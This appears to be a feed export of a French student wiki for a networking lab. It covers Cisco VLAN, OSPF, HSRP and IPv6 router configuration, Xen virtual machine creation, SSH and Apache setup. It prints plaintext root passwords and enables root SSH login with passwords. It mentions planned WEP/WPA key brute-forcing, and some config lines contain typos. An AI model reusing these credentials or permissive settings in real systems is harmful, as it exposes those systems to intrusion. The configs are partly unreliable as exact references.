&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51582</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51582"/>
				<updated>2019-12-07T03:09:47Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Sécurisation wifi par WPA2-EAP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
